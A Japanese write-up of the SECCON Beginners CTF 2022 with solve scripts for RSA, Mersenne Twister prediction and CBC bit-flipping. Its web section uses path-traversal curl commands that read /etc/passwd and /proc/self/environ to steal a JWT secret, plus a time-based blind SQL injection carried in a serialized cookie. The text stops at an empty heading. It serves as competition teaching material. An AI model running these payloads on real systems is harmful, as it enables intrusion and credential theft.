SECCON Beginners CTF 2022 Writeup
Sun Jun 05 2022
6/4-6/5 で開催していた SECCON Beginners CTF 2022 に参加しました。結果は 6th/891 でした (得点のあるチームのみカウント)。 ctf4b は毎年楽しみにしている CTF の1つです。38→18→6と順位が上がってきており成長が実感できて嬉しいです。 解いた問題 (Monkey Heap と ultra_super_miracle_validator 以外) について writeup を書きます。
crypto
omni-RSA
14 solves
problem.pyfrom Crypto.Util.number import * from flag import flag p, q, r = getPrime(512), getPrime(256), getPrime(256) n = p * q * r phi = (p - 1) * (q - 1) * (r - 1) e = 2003 d = inverse(e, phi) flag = bytes_to_long(flag.encode()) cipher = pow(flag, e, n) s = d % ((q - 1)*(r - 1)) & (2**470 - 1) assert q < r print("rq =", r % q) print("e =", e) print("n =", n) print("s =", s) print("cipher =", cipher)
普通の RSA と異なり、素因数が と3つあることと、そのうちの2つ に関する式 が与えられていることが特徴です。この特徴を活かすため、 とおいてこれに注目します。 の定義から です。さらに の定義から bits 程度の を使って と表せます。これらを組み合わせると、 となります。ここで は の大きさと同程度の整数となります。 この式について をとると、 なので、 となります。 の値さえ決まればこの式は に関する式となり、 は に対して十分小さいので coppersmith で求めることができます。今 は2000程度の大きさなので、これは全探索可能です。これで と (すなわち ) が求まります。 がわかっていると を素因数分解できることが知られています (例えば ふるつきさんの記事 参照)。今回は が3変数の積なのでちょっと特殊ですが (というか勢いで解いたので以下の script ではあまり理解せずやってしまいました…)、これで を素因数分解でき、RSA のいつもの復号が可能となります。
solve.sagefrom Crpto.Util.number import long_to_bytes rq = 7062868051777431792068714233088346458853439302461253671126410604645566438638 e = 2003 n = 140735937315721299582012271948983606040515856203095488910447576031270423278798287969947290908107499639255710908946669335985101959587493331281108201956459032271521083896344745259700651329459617119839995200673938478129274453144336015573208490094867570399501781784015670585043084941769317893797657324242253119873 s = 1227151974351032983332456714998776453509045403806082930374928568863822330849014696701894272422348965090027592677317646472514367175350102138331 cipher = 82412668756220041769979914934789463246015810009718254908303314153112258034728623481105815482207815918342082933427247924956647810307951148199551543392938344763435508464036683592604350121356524208096280681304955556292679275244357522750630140768411103240567076573094418811001539712472534616918635076601402584666 PR.<x> = PolynomialRing(Zmod(n)) for k in range(2003): f = e * (s + 2**470 * x) - 1 - k * (-1) * (rq - 1) f = f.monic() roots = f.small_roots(beta=0.24, epsilon=0.015) if len(roots) > 0: print(k) # 1576 break x = roots[0] # 3248825676044 d_ = int(s + 2**470 * x) r = e * d_ - 1 k = 0 while r % 2 == 0: r //= 2 k += 1 t = r print(k, t) assert 2 ** k * t == e * d_ - 1 m = 7 while k >= 0: res = pow(m, 2 ** k * t, n) if res == 1: k -= 1 continue p = int(gcd(n, res + 1)) q = int(gcd(n, res - 1)) break p = n // q assert is_prime(p) n_ = n // p r = e * d_ - 1 k = 0 while r % 2 == 0: r //= 2 k += 1 t = r print(k, t) assert 2 ** k * t == e * d_ - 1 m = 6 while k >= 0: res = pow(m, 2 ** k * t, n_) if res == 1: k -= 1 continue q = gcd(n_, res + 1) r = gcd(n_, res - 1) break if q > r: q, r = r, q q = int(q) r = int(r) phi = (p - 1) * (q - 1) * (r - 1) d = int(pow(e, -1, phi)) print(long_to_bytes(int(pow(cipher, d, n))))
ctf4b{GoodWork!!!YouAreTrulyOmniscientAndOmnipotent!!!}
Unpredictable Pad
35 solves
chal.pyimport random import os FLAG = os.getenv('FLAG', 'notflag{this_is_sample_flag}') def main(): r = random.Random() for i in range(3): try: inp = int(input('Input to oracle: ')) if inp > 2**64: print('input is too big') return oracle = r.getrandbits(inp.bit_length()) ^ inp print(f'The oracle is: {oracle}') except ValueError: continue intflag = int(FLAG.encode().hex(), 16) encrypted_flag = intflag ^ r.getrandbits(intflag.bit_length()) print(f'Encrypted flag: {encrypted_flag}') if __name__ == '__main__': main()
python の random.Random() の乱数を予測する問題です。 getrandbits(32) を624個連続で得られるとその後の乱数が予測できるのは有名な話ですが、今回の問題ではぱっとみでは64bitを3つまでしか得ることができなさそうです。
はじめは random.Random() の引数に何も渡さなかったら time.time() とかが入るのかななどと考え、ずっと挙動を追ってましたが、そのような seed を特定する方向性はうまくいかなさそうです。
ここで問題のソースコードをもう一度見てみると、 inp > 2**64 の条件が実は雑なことに気づきます。 inp が負のときは bit_length が非常に大きなときでも弾かれないことがわかります。これを使って32bitの乱数を624個相当分得て、フラグの暗号化に使われている乱数を予測して復号しました。
solve.pyimport random from Crypto.Util.number import long_to_bytes payload = -2**(16*624)+1 # 上の payload を3回送って得られた値をハードコード enc_flag = 160408390154667487935295951685135834366281788558956636553830792827360254 ret0 = -169353461226451862454550482867247311453745832298072193488992476372032683267405529616712857658826149871232022177649639560493348167300248003798133393960069101848656033334315041089489540273610320250781951419421296295310706803305763552193467763497673831685296464166217912182952993108881003824545386638822886036877853314192447459485633281593120922162996370650082889528736245538106025702367298028706018500581303291092184492912177748035815932841199461843957795270880130886325403061725988188236489016059884559670466607329599332990508953092627886094059613058667760151744204433278035755399050494466381637221944827534019503182926467006914302368386660714730742692096585746608782523410356311089649324987101827009674919177960835763439338825261907643835468814940418402548295214013774677330828810095951146966735643419608752746425768841587104025408476655777986037482072738896056125749598700903579670974116795405662151349199266699927598023204057070306326773712542836077736390131944428866691928322905148134636660084531325981840651396783254841001403095723976147665751746664602732628439890252955931774414896353326579313769454833945674625056698316809609132067092222948957953197180021737521745655434028404570086154209391102996155459165864997753657661454493825124031728517893942941148924957446604703529189079509660244289843008318983049402259320722901474323969045108227678587275789397631005047258434201221288505580913646102930700490447493349182167072035273835911621464731360371545460395175605032063196008048744518129794066121356578721481991602164471241173183881439244695928483155723029148975839302117123861360245641089827787693858008484408881465787653275742063960144075534851192151745260899161458908215597348826049429140505629444575689068667977570381956851068146075282338154162785222175529593495159696587574511453683086253689224811625024752497827991210611517791639029847316993230591366379321983830423002580773857376725811511477652484534295670048470065628245575204829812271025845056313501265802551090858332958051536680495364633217364169453034297881072789401221696691376710188240126908526755550980633504983185236404707215884989713759251302719280478433527009402389363547380807602418824359129333148024227915685622797753116791572129831241710756953028466882194135603385045134925639328124230308605549228880474941494908652208229512474100406567626116817821971735915089973730668169433601262340270271894155758372382980258650111135768656138342227206970091506970645999963840145942220110978031918724153239689786634768434326171334143812878760891797399669977160993693787808307041885867124048078397767314756130642278020874526347428410545904310808335745364896816455273984548748591395049622882899097672643684754903956017579863224624561733509698079957274825362454362595607878755481785558518932923579002238072455757822414992021796274528224275060731996804383435852769228690567859793839828128318627157368157276840700230593702308945703163946725449915700666271432660634751014996121414362240518760048533468930106480049570819040031952762781188641252133586175 ret1 = -51580731718688675420437389249310120900905865508528396443063883081911546240202089824689207524249689453637693803148959866994272605836689570762335232051123834554230490203701972150940081601086851960226751096892403360549512080703048508633318381886171418059312308642451485698454348149017820527890973991410951247206681985750710112856320237636721173823242708150975523461296953256915980661303813942135321478844841381392172860483601342634273272193727322517987428595734228639491952617729400752812338305362781760700986492467302797695755891250578619217470478051378231521033281266819484592212240867291651868700786320603656622428103395224868616642101640389910213124582657676757942261132070240006724002027384799089456220435096555823633347295661192386737475879766496582324423995714634004017178337560947025986297380766499417468248727348626818258227609549079046578067109569854302834383965095131029140857111545097250213476248190596857820183815527533654371724441452378692748537218501759996371430293128000186544722933935664685214972410794341204799002695971038119110281898134893871502905160358498981592559403873818635884284157674277122138315091091449947848077929964896432151408747590933281827820699464860941890478669800373395486780046063600439415955332048227243889186613022285203183474457150043573184157045283623992463193417473248491034755072187007272019375351426321494474802223190703258757658929400467051798276012501123386367746549904035127679645887776584091318561657911998066543212173556037638748810302453275843503806212670252152101686369086597699195551588642582549408975260865552360066108226203637838785429972911309285863401356191920065599138955269920969586952185256091468633109571645795237468619938776267843091790991896783465224746115260681089268076777948809949692595202466441897355355377351901503699228929113243486670226454857566200841577430865046428992631540058000778178879913091792174994533135390606763707313582286913485540646686691245095727665703469213379487010802922261296189522812763645510510237333212718570879080130170003422836994561913636229005076420309252070025981827977843162864678552565909810493650232609917300135721158876009741779770286522854484717748448307711431989467562525081528829367171814771047163332142183857326214041545279268552058005506521306650683717486772248524767561871270562403513655599465119737729132744047896140674021649124072318170859820809678171230320068352145674380714404207959918120892102584862278187374327557369586275016189782186695492419002017938787586871955884491910844465079565201467212994186344380132747410551067489437973984889578475885218334724720056509498558712551955375494420298927179734594425228164596725820028673601286480957658409234147135951934576744051948891339150650398314097041570187660510241297335222066129847076133369762701314510223092913222806698507412758225539286627781482789427244626649010118518373147343705831559927314968755850205806153090340695380765756968693557260267411202215338713988385595658635821065323400055688140696841073054338664203217729588043606228376032969466459 ret2 = -108475337377652764860559020314958568585993853978274916932698686125149105719231472144111927154304714459090886922951953151399897983234248457812722087567487137781060083611287580672002621683824724832567651463542364280539829018818449233755751262186286203755084135144663042566967551810800368064439197073273767795320067894207466601099864793384548733004071677851750762693399293686826462614721185752495826664605939103648711640208093054399389120285841311383643882587743382995127681245785303208431778098484406158016438764171413076520113622421366506206486672860374467083915942200966741732513953091482247830398804234272405375865882697887524180737502484465784037569901040671235651570265128224109470888438668427253465754584541034100717324441634214695565617339943054347366758524082484210535227455466259270783728889243781787817784349624425869417725962025535486487427813345464887156054169888048931394789281079389821150534206323531516104024312186676411913168781578828751220946266855887220990471850993639323415506178990808569514662395056882296360383954318842844182928589850113079105215168674084888535401746373477911525454299595646064585203222026179995043472961855529552566054411142336477226896828917026513422953585755511573948925032600131616061449107211347967778755594994130734439332518470094629187137298199158911789139924456241188909282748628007853405849374184802862738758203254340388353318539018446570299970484777518955439221723578402960915972896749021620900180888677881099775187414441576032219178072600283780804830825809536113331272910784929123522450298798204104165870957223443663597218080523075304401924897959667077600875146045317720051938497350014873112177431773283076035456292182710349437902166058857774005298782914670613404253777876188612945804472412568215245020233391314125424854055519386292526993039308039896608505475440712057353317583620883237199096309107750719027862343316164091544142824027672566783063571564176315409724677176164929681154652053428071765979163358147650087814912330057471393940222260594690828625775007718311112985193060655885434702706297470370722761765604767012596841895846024387762360729830403482871420097042668009373829647519481528354423055739446116715440022979467671760354109976476249417124150444281499488014030345109577445802126177849503991753962995029901097944375862128070672483170304594662385017952521012152472148762674040583264416935044555625685455066607471297166418183012635868674290225313412984739442230657863350977208180851750234928875369451121118336771514019149579695341733721007285004789918851050865724647053516518653314110233857475215246355048206235819633335369164369013747647432683014441146667282328344565334691322247346614713346369158853818704626193068141647264829531649586826166628911634790889727424766390635372791818900748752735365988441244650884558091517894966368931045023969033832454195421742975130710994798661170137124637373417539150444781638040270784341827959352777519438224646842625846691524456229257228298416449854437590761211567953760306805078815379830034840307117406011821759 rand0 = ret0 ^ payload rand1 = ret1 ^ payload rand2 = ret2 ^ payload rands32 = [] for rand in [rand0, rand1, rand2]: for i in range(312): rands32.append(int(rand % 2**32)) rand = rand // 2**32 # https://inaz2.hatenablog.com/entry/2016/03/07/194147 def untemper(x): x = unBitshiftRightXor(x, 18) x = unBitshiftLeftXor(x, 15, 0xefc60000) x = unBitshiftLeftXor(x, 7, 0x9d2c5680) x = unBitshiftRightXor(x, 11) return x def unBitshiftRightXor(x, shift): i = 1 y = x while i * shift < 32: z = y >> shift y = x ^ z i += 1 return y def unBitshiftLeftXor(x, shift, mask): i = 1 y = x while i * shift < 32: z = y << shift y = x ^ (z & mask) i += 1 return y for i in range(56, 1000): mt_state = tuple([int(untemper(x)) for x in rands32[:624]] + [int(624)]) random.setstate((int(3), mt_state, None)) assert random.getrandbits(9984) == rand2 dec = long_to_bytes(random.getrandbits(i) ^ enc_flag) if b"ctf4b" in dec: print(dec)
ctf4b{M4y_MT19937_b3_w17h_y0u}
Command
88 solves
chal.pyfrom Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Util.number import isPrime from secret import FLAG, key import os def main(): while True: print('----- Menu -----') print('1. Encrypt command') print('2. Execute encrypted command') print('3. Exit') select = int(input('> ')) if select == 1: encrypt() elif select == 2: execute() elif select == 3: break else: pass print() def encrypt(): print('Available commands: fizzbuzz, primes, getflag') cmd = input('> ').encode() if cmd not in [b'fizzbuzz', b'primes', b'getflag']: print('unknown command') return if b'getflag' in cmd: print('this command is for admin') return iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) enc = cipher.encrypt(pad(cmd, 16)) print(f'Encrypted command: {(iv+enc).hex()}') def execute(): inp = bytes.fromhex(input('Encrypted command> ')) iv, enc = inp[:16], inp[16:] cipher = AES.new(key, AES.MODE_CBC, iv) try: cmd = unpad(cipher.decrypt(enc), 16) if cmd == b'fizzbuzz': fizzbuzz() elif cmd == b'primes': primes() elif cmd == b'getflag': getflag() except ValueError: pass def fizzbuzz(): for i in range(1, 101): if i % 15 == 0: print('FizzBuzz') elif i % 3 == 0: print('Fizz') elif i % 5 == 0: print('Buzz') else: print(i) def primes(): for i in range(1, 101): if isPrime(i): print(i) def getflag(): print(FLAG) if __name__ == '__main__': main()
AES の CBC モードで復号した結果の文字列に応じて各種コマンドが実行されます。しかし getflag に相当する暗号を直接得ることはできません。
CBC モードの復号の流れを画像で見るとわかるのですが (例えば wiki 参照)、 iv に対してある値の xor をとると、復号結果も同じ値で xor したものに変化します。これを利用して fizzbuzz などの iv と暗号に対して iv を適切にコントロールすることで復号結果を getflag にすることができます。 padding に注意。
solve.pyfrom binascii import unhexlify from pwn import xor # fizzbuzz の暗号を事前に得ておく fizzbuzz_enc = unhexlify("c64fd5f228a8ce1cec668efd0e7fc6d024939fcd76e617094c5024eb51578925") iv = fizzbuzz_enc[:16] enc = fizzbuzz_enc[16:] enc0 = b"fizzbuzz" + b"\x08" * 8 enc1 = b"getflag" + b"\x09" * 9 iv1 = xor(enc0, enc1, iv) print((iv1 + enc).hex()) # これを送ると getflag が実行される
ctf4b{b1tfl1pfl4ppers}
PrimeParty
58 solves
server.pyfrom Crypto.Util.number import * from secret import flag from functools import reduce from operator import mul bits = 256 flag = bytes_to_long(flag.encode()) assert flag.bit_length() == 455 GUESTS = [] def invite(p): global GUESTS if isPrime(p): print("[*] We have been waiting for you!!! This way, please.") GUESTS.append(p) else: print("[*] I'm sorry... If you are not a Prime Number, you will not be allowed to join the party.") print("-*-*-*-*-*-*-*-*-*-*-*-*-") invite(getPrime(bits)) invite(getPrime(bits)) invite(getPrime(bits)) invite(getPrime(bits)) for i in range(3): print("[*] Do you want to invite more guests?") num = int(input(" > ")) invite(num) n = reduce(mul, GUESTS) e = 65537 cipher = pow(flag, e, n) print("n =", n) print("e =", e) print("cipher =", cipher)
RSA の公開鍵 をなす素因数が7個あり、4個はサーバーが生成したもの、3個はこちら側で指定したものになります。
の約数のうち、サーバー側の素因数の積を 、こちら側で指定した素因数の積を とおきます。RSA の暗号化は で行われますが、この暗号を で割った余りとし、復号の計算も 上で行うことを考えると、復号結果が よりも小さければ正しく復号されることがわかります。なので十分に が大きくなるように素数を指定し、 のもとで RSA の復号を行うだけでフラグが求まります。
solve.pyfrom Crypto.Util.number import getPrime, long_to_bytes p = getPrime(512) q = getPrime(512) r = getPrime(512) # p, q, r を送って得られた c, n をハードコード c = 3231747054065633212287491089016023326207755258137659619616207696197572498242090443880322852339181652574539724831984143911887071716899171052605591747596868072925141349328705332134716635367026197295238960036176135432899008066332112479421646292686771479234462079174562704075006784682386997809270685926872261969941420920969380741361619303588111587131398198138508999746744181992807884142057550110126162117140543978024996657988040401453648359928688090005773527776438713375695735361163975183275546467076154588359441723190416354532400657671504920473271199513462397364236958404749399848783365124952902286561434940105491199482539837904014316786427979410294582445530322069870865641274726479252349114771001730642400677171676852499042010491593624999794886450802738894734163779161179 n = 50960510109266153211220694076283126261496987573875292473286642064956124047055612445286465281627833726437448685247114511114984163230671979173589099425396539824559835742008947178090847715429184879049848268517585685282560668287375963502687615809469167443951463759746805647142747246199048558030657918954767331010554737640633395455748241891010554134272076233363095117578830715576066367768041823369983654496376086507203475733297447627270269562348173460762697865084096729798213983961685529549371835328956273802600595109578789752640730821127493070321291603879640723304029910009579952649666458240575241704298896113818436140228561339581683144526679375688596410984423902241649796308631822675710206724372207035083772325868773824123241115754868636927363488846030924630376913203540229 e = 0x10001 d = int(pow(e, -1, (p - 1) * (q - 1) * (r - 1))) print(long_to_bytes(int(pow(c, d, p * q * r))))
ctf4b{HopefullyWeCanFindSomeCommonGroundWithEachOther!!!}
CoughingFox
443 solves
problem.pyfrom random import shuffle flag = b"ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}" cipher = [] for i in range(len(flag)): f = flag[i] c = (f + i)**2 + i cipher.append(c) shuffle(cipher) print("cipher =", cipher)
c = (f + i)**2 + i という暗号化について、 です。 は len(cipher) 未満なので、 cipher の各値に対して適当な値を引いてある値の2乗となればそれが となります。これを使ってフラグが復号できます。
solve.sagecipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472] ans = [] for i in range(len(cipher)): c = cipher[i] cands = [] for j in range(len(cipher)): if (c - j).is_square(): cands.append((j, (c - j).sqrt() - j)) assert len(cands) == 1 ans.append(cands[0]) ans.sort() "".join([chr(a[1]) for a in ans])
ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}
web
Ironhand
42 solves
main.gopackage main import ( "html/template" "io" "io/ioutil" "mime" "net/http" "net/url" "os" "path/filepath" "time" "github.com/golang-jwt/jwt/v4" "github.com/labstack/echo/v4" "github.com/labstack/echo/v4/middleware" ) // Setup Template // https://echo.labstack.com/guide/templates/ type Template struct { templates *template.Template } func (t *Template) Render(w io.Writer, name string, data interface{}, c echo.Context) error { return t.templates.ExecuteTemplate(w, name, data) } type UserClaims struct { *jwt.RegisteredClaims Username string IsAdmin bool } func main() { e := echo.New() e.Use(middleware.Logger()) e.Use(middleware.Recover()) // Setup Template t := &Template{ templates: template.Must(template.ParseGlob("views/*.html")), } e.Renderer = t // Top page e.GET("/", func(c echo.Context) error { cookie, err := c.Cookie("JWT_KEY") if err != nil { return c.Redirect(http.StatusFound, "/login") } token, err := jwt.ParseWithClaims(cookie.Value, &UserClaims{}, func(token *jwt.Token) (interface{}, error) { secretKey := os.Getenv("JWT_SECRET_KEY") return []byte(secretKey), nil }) if err != nil { return c.String(http.StatusBadRequest, "invalid session") } claims := token.Claims.(*UserClaims) // If you are admin, you can get FLAG if claims.IsAdmin { res, _ := http.Get("http://secret") flag, _ := ioutil.ReadAll(res.Body) if err := res.Body.Close(); err != nil { return c.String(http.StatusInternalServerError, "Internal Server Error") } return c.Render(http.StatusOK, "admin", map[string]interface{}{ "username": claims.Username, "flag": string(flag), }) } return c.Render(http.StatusOK, "user", claims.Username) }) // Login page e.GET("/login", func(c echo.Context) error { return c.Render(http.StatusOK, "login", "") }) e.POST("/login", func(c echo.Context) (err error) { // Get request parameter username := c.FormValue("username") if username == "" { return c.Render(http.StatusBadRequest, "login", "Username is required.") } // Generate JWT token claims := &UserClaims{ &jwt.RegisteredClaims{ ExpiresAt: jwt.NewNumericDate(time.Now().Add(time.Hour * 24 * 7)), }, username, false, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) secretKey := os.Getenv("JWT_SECRET_KEY") tokenString, _ := token.SignedString([]byte(secretKey)) // Set JWT token in cookie cookie := &http.Cookie{ Name: "JWT_KEY", Value: tokenString, Expires: time.Now().Add(time.Hour * 24 * 7), } c.SetCookie(cookie) return c.Redirect(http.StatusFound, "/") }) e.GET("/logout", func(c echo.Context) error { cookie := &http.Cookie{ Name: "JWT_KEY", Value: "", Expires: time.Unix(0, 0), } c.SetCookie(cookie) return c.Redirect(http.StatusFound, "/") }) e.GET("/static/:file", func(c echo.Context) error { path, _ := url.QueryUnescape(c.Param("file")) f, err := ioutil.ReadFile("static/" + path) if err != nil { return c.String(http.StatusNotFound, "No such file") } return c.Blob(http.StatusOK, mime.TypeByExtension(filepath.Ext(path)), []byte(f)) }) e.Logger.Fatal(e.Start(":8080")) }
JWT で署名された cookie に対し、 IsAdmin=true とできればフラグが手に入ります。
JWT といえば alg を none 等想定と違うものにすることで突破する方法がありますが、今回使われているライブラリではぱっとは出来なさそうです。
そこで、本旨とは一見関係なさそうな /static/:file が使えないか検討します。 pathのパースが雑なので、 path traversal が可能そうです。 例えば curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static/../main.go とすると、 main.go を表示することが出来ました。 しかしこのような流れで curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static/../../etc/passwd とすると何も得られません。これは nginx 側で / よりも ../ の数が多いときに弾かれるようで、 Bad Request となってしまいます。しかしこれは / を雑に足すことで回避できます (curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static//../../etc/passwd)。 この仕様を使って環境変数を見るために、 /proc/self/environ を見に行きます。 curl --path-as-is https://ironhand.quals.beginners.seccon.jp/static//../../proc/self/environ --output environ。これで JWT_SECRET_KEY=U6hHFZEzYGwLEezWHMjf3QM83Vn2D13d がわかります。
この key を使って https://jwt.io/ で "IsAdmin":true というペイロードで署名をすることで admin になり、フラグが得られました。
ctf4b{i7s_funny_h0w_d1fferent_th1ng3_10ok_dep3ndin6_0n_wh3re_y0u_si7}
serial
83 solves
database.php<?php require_once '/var/www/html/user.php'; require_once '/var/www/html/todo.php'; class Database { /** * $_con is a instance of mysqli */ protected $_con; public function __construct() { $this->connect(); } public function __destruct() { $this->close(); } /** * connect connects to the database */ public function connect() { $this->_con = new mysqli('mysql', 'ctf4b', 'ctf4b', 'serial'); if ($this->_con->connect_error) { throw new Exception('Connect Error ' . $this->_con->connect_errno . ': ' . $this->_con->connect_error, $this->_con->connect_errno); } else { $this->_con->set_charset("utf8mb4"); } if (!$this->_con->ping()) { throw new Exception('failed ping()'); } return $this->_con; } /** * close closes connection */ public function close() { if (!isset($this->_con)) { return; } $this->_con->close(); } /** * findUserByName finds a user from database by given userId. * * @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION. */ public function findUserByName($user = null) { if (!isset($user->name)) { throw new Exception('invalid user name: ' . $user->user); } $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1"; $result = $this->_con->query($sql); if (!$result) { throw new Exception('failed query for findUserByNameOld ' . $sql); } while ($row = $result->fetch_assoc()) { $user = new User($row['id'], $row['name'], $row['password_hash']); } return $user; } /** * findUserByName finds a user from database by given userId. */ public function findUserByNameNew($name = null) { if (!isset($name)) { throw new Exception('invalid user name: ' . $name); } $stmt = $this->_con->stmt_init(); if (!$stmt->prepare("SELECT id, password_hash FROM users WHERE name = ?")) { throw new Exception('failed prepare for findUserByName'); } if (!$stmt->bind_param("s", $name)) { throw new Exception('failed bind_param for findUserByName'); } if (!$stmt->execute()) { throw new Exception('failed execute for findUserByName'); } $id = null; $password_hash = null; if (!$stmt->bind_result($id, $password_hash)) { throw new Exception('failed bind_result for findUserByName'); } $stmt->fetch(); return new User($id, $name, $password_hash); } /** * insertUser inserts a given user into database. */ public function insertUser($user = null) { if (!isset($user->name) || !isset($user->password_hash)) { throw new Exception('invalid name: ' . $user->name . ', or password: ' . $user->password_hash); } $stmt = $this->_con->stmt_init(); if (!$stmt->prepare("INSERT INTO users(name, password_hash) VALUE (?, ?)")) { throw new Exception('failed prepare for findUserByName'); } if (!$stmt->bind_param('ss', $user->name, $user->password_hash)) { throw new Exception('failed bind_param for findUserByName: ' . $user->name); } if (!$stmt->execute()) { throw new Exception('failed execute for findUserByName'); } } /** * findTodos find all todos which is not done. */ public function findTodos() { $sql = "SELECT * FROM todos WHERE done = false ORDER BY id"; $result = $this->_con->query($sql); if (!$result) { throw new Exception('failed query for findUserByNameOld ' . $sql); } $todos = array(); while ($row = $result->fetch_assoc()) { $t = new Todo($row["id"], $row["body"], $row["done"]); array_push($todos, $t); } return $todos; } /** * insertTodo insert a todo with given body. */ public function insertTodo($todo = null) { if (!isset($todo->body)) { throw new Exception('invalid message: ' . $todo->body); } $stmt = $this->_con->stmt_init(); if (!$stmt->prepare("INSERT INTO todos(body) VALUE (?)")) { throw new Exception('failed prepare for insertTodo'); } if (!$stmt->bind_param('s', $todo->body)) { throw new Exception('failed bind_param for insertTodo: ' . $todo->body); } if (!$stmt->execute()) { throw new Exception('failed execute for insertTodo'); } } /** * doneTodo update a done column true with a given id. */ public function doneTodo($todo = null) { if (!isset($todo->id)) { throw new Exception('invalid id: ' . $todo); } $stmt = $this->_con->stmt_init(); if (!$stmt->prepare("UPDATE todos SET done = 1 WHERE id = ?")) { // TODO: throw new Exception('failed prepare for doneTodo' . "UPDATE todos SET done = true WHERE id = ?"); } if (!$stmt->bind_param('i', $todo->id)) { throw new Exception('failed bind_param for doneTodo: ' . $todo->id); } if (!$stmt->execute()) { throw new Exception('failed execute for doneTodo'); } } }
database.php にあからさまな SQLi 脆弱性があります。しかし user.php を見ればわかるとおり、 $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name)); となっており、 SQLi に使えそうな文字はサニタイズされているように見えます。 しかしこの web app では cookie の __CRED をデシリアライズすることで User の instance を作り出しています。このときに上記サニタイズは行われません。なので cookie を使って SQLi ができそうです。 SQLi 自体はいろいろな方針がありそうですが、自分は time based blind SQLi でやりました。もっと楽にやる方法ありそうですが、自分はいつも time based でやりがちです…
solve.pyfrom base64 import b64encode import time import requests name_template = "hoge' || (SELECT IF(SUBSTR(body,{idx},1)='{c}',BENCHMARK(1000000,ENCODE('MSG','by 5 seconds')),'') FROM flags) || '" payload_template = """O:4:"User":3:{{s:2:"id";s:2:"20";s:4:"name";s:{length}:"{name}";s:13:"password_hash";s:60:"$2y$10$V0ix4ngxG5N6//1FW0n98OQtLiMEKwBEN.cZ7WgcY1I5IaC6dXFWW";}}""" flag = "" for idx in range(len(flag) + 1, 100): for i in range(32, 127)[::-1]: c = chr(i) print(c) name = name_template.format(idx=idx, c=c) payload = payload_template.format(length=len(name), name=name) with requests.session() as session: r = session.post("https://serial.quals.beginners.seccon.jp/signup.php", data={"name": "hoge", "pass": "hoge"}) session.cookies.set("__CRED", b64encode(payload.encode()).decode(), domain="serial.quals.beginners.seccon.jp") now = time.time() r = session.get("https://serial.quals.beginners.seccon.jp/") elapsed = time.time() - now if elapsed > 1.0: flag += c print(flag) break
ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}
gallery
156 solves
main.gopackage main import ( "bytes" "net/http" "github.com/gorilla/mux" ) const ( PORT = "8080" DIR = "static" ) type MyResponseWriter struct { http.ResponseWriter lengthLimit int } func (w *MyResponseWriter) Header() http.Header { return w.ResponseWriter.Header().Clone() } func (w *MyResponseWriter) Write(data []byte) (int, error) { filledVal := []byte("?") length := len(data) if length > w.lengthLimit { w.ResponseWriter.Write(bytes.Repeat(filledVal, length)) return length, nil } w.ResponseWriter.Write(data[:length]) return length, nil } func middleware() func(http.Handler) http.Handler { return func(h http.Handler) http.Handler { return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) { h.ServeHTTP(&MyResponseWriter{ ResponseWriter: rw, lengthLimit: 10240, // SUPER SECURE THRESHOLD }, r) }) } } func main() { r := mux.NewRouter() r.PathPrefix("/images/").Methods("GET").Handler(http.StripPrefix("/images/", http.FileServer(http.Dir(DIR)))) r.HandleFunc("/", IndexHandler) http.ListenAndServe(":"+PORT, middleware()(r)) }
handlers.gopackage main import ( "html/template" "log" "net/http" "os" "strings" ) type Embed struct { ImageList []string } func IndexHandler(w http.ResponseWriter, r *http.Request) { t, err := template.New("index.html").ParseFiles("./static/index.html") if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) log.Println(err) return } // replace suspicious chracters fileExtension := strings.ReplaceAll(r.URL.Query().Get("file_extension"), ".", "") fileExtension = strings.ReplaceAll(fileExtension, "flag", "") if fileExtension == "" { fileExtension = "jpeg" } log.Println(fileExtension) data := Embed{} data.ImageList, err = getImageList(fileExtension) if err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) log.Println(err) return } if err := t.Execute(w, data); err != nil { http.Error(w, err.Error(), http.StatusInternalServerError) log.Println(err) return } } func getImageList(fileExtension string) ([]string, error) { files, err := os.ReadDir("static") if err != nil { return nil, err } res := make([]string, 0, len(files)) for _, file := range files { if !strings.Contains(file.Name(), fileExtension) { continue } res = append(res, file.Name()) } return res, nil }
まず flag という名前のついているファイルが存在するか確認してみます。 indexhandler 内部では strings.ReplaceAll(fileExtension, "flag", "") というサニタイズが行われていますが、これは flflagag とすることで突破できます。 https://gallery.quals.beginners.seccon.jp/?file_extension=flflagag ここにアクセスすることで、 pdf ファイルが存在することがわかりました。
しかしファイルを開いてみると ??...?? と表示されます。ソースコードを見直してみると、 10240bytesを超えたファイルを表示しようとするとこうなるようです。 この上限を回避するため、 Header の Range を使います (https://developer.mozilla.org/ja/docs/Web/HTTP/Headers/Range)。 Range: bytes=0-10000 のようなヘッダーをリクエストに付与すると、最初の10001bytesのみ (inclusive なことに注意) が response として返ってきます。これで上限値に達することなくファイルの一部を受け取ることができます。 これを使って2回に分けて pdf を復元し、ファイルを開くとフラグが書かれていました。
ctf4b{r4nge_reque5t_1s_u5efu1!}
textex
123 solves
